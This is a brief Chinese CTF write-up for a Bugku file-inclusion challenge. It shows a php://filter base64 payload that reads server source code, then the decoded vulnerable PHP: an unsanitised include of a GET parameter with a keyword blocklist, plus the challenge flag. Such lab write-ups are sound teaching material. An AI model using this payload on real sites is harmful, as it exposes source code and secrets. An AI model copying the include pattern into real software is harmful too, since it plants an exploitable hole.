PHP教程
Bugku-12.文件包含-php伪协议
本文主要是介绍Bugku-12.文件包含-php伪协议，对大家解决编程问题具有一定的参考价值，需要的程序猿们随着小编来一起学习吧！
文件包含
利用php伪协议读取
谈一谈php://filter的妙用 | 离别歌 (leavesongs.com)
?file=php://filter/read=convert.base64-encode/resource=index.php
base64解码
<html>
<title>Bugku-web</title>
<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:flag{61d755938dc1bb9f1a14c0eb7e017f85}
?>
</html>
这篇关于Bugku-12.文件包含-php伪协议的文章就介绍到这儿，希望我们推荐的文章对大家有所帮助，也希望大家多多支持为之网！
您可能喜欢
-
开源 PHP 商城项目 CRMEB 二次开发和部署教程11-11
-
怎么使用php在kaufland平台刊登商品？-icode9专业技术文章分享11-09
-
PHP的抽象类和接口是什么，有什么区别-icode9专业技术文章分享11-05
-
开源 PHP 商城项目 CRMEB 安装和使用教程11-01
-
用php和mysql写无限分类，有哪几种方法-icode9专业技术文章分享11-01
-
php数据分表导出时部分数据无法导出什么原因-icode9专业技术文章分享10-31
-
有经验的 PHP 开发者学习一门新的编程语言，有哪些推荐的有前景的语言-icode9专业技术文章分享10-30
-
php 检测图片是否篡改过-icode9专业技术文章分享10-21
-
fruitcake/php-cors 该怎么使用-icode9专业技术文章分享10-20
-
PHP7.1可以使用哪个版本的swoole-icode9专业技术文章分享10-18
-
php8 执行php -v提示 command not found是什么原因？-icode9专业技术文章分享10-17
-
nginx 怎么配置 php？-icode9专业技术文章分享10-17
-
怎么把PHP程序打包？-icode9专业技术文章分享09-28
-
怎么用Phar打包PHP程序？-icode9专业技术文章分享09-28
-
手动在github上下载的mfpt包，怎么放到thinkphp5.0框架并正常使用-icode9专业技术文章分享09-13
栏目导航
